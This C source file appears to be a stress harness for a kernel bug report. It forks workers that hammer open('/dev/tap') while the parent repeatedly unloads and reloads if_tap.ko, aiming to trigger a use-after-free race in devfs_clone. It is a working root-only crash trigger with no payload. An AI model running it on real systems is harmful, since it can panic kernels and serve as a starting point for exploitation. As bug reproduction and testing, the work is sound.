/*
 * DF-0774 — devfs_clone UAF stress harness.
 *
 * Race: open("/dev/tap") → devfs_clone() matches "tap" clone handler,
 * releases devfs_lock (devfs_core.c:2333), calls devfs_config() (2334),
 * then dereferences chandler->nhandler (2341) — all with NO lock held.
 *
 * Concurrently: kldunload if_tap → destroy_autoclone_dev →
 * devfs_clone_handler_del("tap") → core thread processes DEVFS_CHANDLER_DEL
 * → devfs_chandler_del_worker() TAILQ_REMOVE + kfree(chandler).
 *
 * If the DEL is processed between the lock release (2333) and the nhandler
 * deref (2341), we get a use-after-free on the chandler struct (M_DEVFS).
 *
 * The caller devfs_spec_open (devfs_vnops.c:901) holds devfs_lock SHARED on
 * entry; devfs_clone releases/reacquires it internally. The core thread
 * (devfs_msg_core → devfs_msg_exec at 1289) acquires devfs_lock EXCLUSIVE
 * to process each message, including CHANDLER_DEL.
 *
 * MUST RUN AS ROOT (needs kldunload + /dev/tap is 0600).
 */

#include <sys/types.h>
#include <sys/module.h>
#include <sys/linker.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/wait.h>

#define TAP_DEV    "/dev/tap"
#define TAP_MODULE "if_tap.ko"
#define NUM_OPENS  8

static volatile sig_atomic_t stop = 0;

static void
sigh(int sig)
{
    (void)sig;
    stop = 1;
}

/*
 * Worker: hammer open()/close() on /dev/tap as fast as possible.
 * Each open triggers devfs_clone() → the UAF window.
 */
static void
open_worker(void)
{
    int fd;
    while (!stop) {
        fd = open(TAP_DEV, O_RDWR);
        if (fd >= 0)
            close(fd);
    }
    _exit(0);
}

/*
 * Parent: repeatedly unload + reload if_tap.ko.
 * Each unload calls destroy_autoclone_dev → devfs_clone_handler_del.
 * Reload re-registers the handler for the next race iteration.
 */
static void
load_loop(void)
{
    int fileid;
    int iter = 0;

    while (!stop) {
        /* Unload by fileid: kldfind → kldunload */
        fileid = kldfind(TAP_MODULE);
        if (fileid >= 0) {
            if (kldunload(fileid) == 0) {
                /* Race window open: handler is being/has been freed.
                 * Open workers racing through devfs_clone may hit the UAF. */
            }
        }
        /* Short spin to widen the window for opens to land in devfs_clone
         * while the handler is mid-deletion. */
        {
            volatile int j;
            for (j = 0; j < 200; j++);
        }
        /* Reload so open workers can match the handler next iteration */
        if (kldload(TAP_MODULE) != 0) {
            /* if already loaded or transient failure, ignore */
        }
        iter++;
        if ((iter % 50) == 0)
            fprintf(stderr, "load iter %d\n", iter);
    }
}

int
main(int argc, char **argv)
{
    int i;
    pid_t workers[NUM_OPENS];

    signal(SIGINT, sigh);
    signal(SIGALRM, sigh);

    if (argc > 1)
        alarm(atoi(argv[1]));
    else
        alarm(45);  /* default 45s */

    fprintf(stderr, "DF-0774 devfs_clone UAF stress: %d open workers + "
            "kldunload/kldload loop\n", NUM_OPENS);

    /* Fork open workers */
    for (i = 0; i < NUM_OPENS; i++) {
        workers[i] = fork();
        if (workers[i] == 0)
            open_worker();
        else if (workers[i] < 0) {
            perror("fork");
            exit(1);
        }
    }

    /* Parent does the load/unload loop */
    load_loop();

    /* Collect children */
    stop = 1;
    for (i = 0; i < NUM_OPENS; i++) {
        kill(workers[i], SIGINT);
        waitpid(workers[i], NULL, 0);
    }

    /* Ensure if_tap is loaded for a clean state */
    if (kldfind(TAP_MODULE) < 0)
        kldload(TAP_MODULE);

    fprintf(stderr, "DF-0774 stress complete (no panic observed)\n");
    return 0;
}
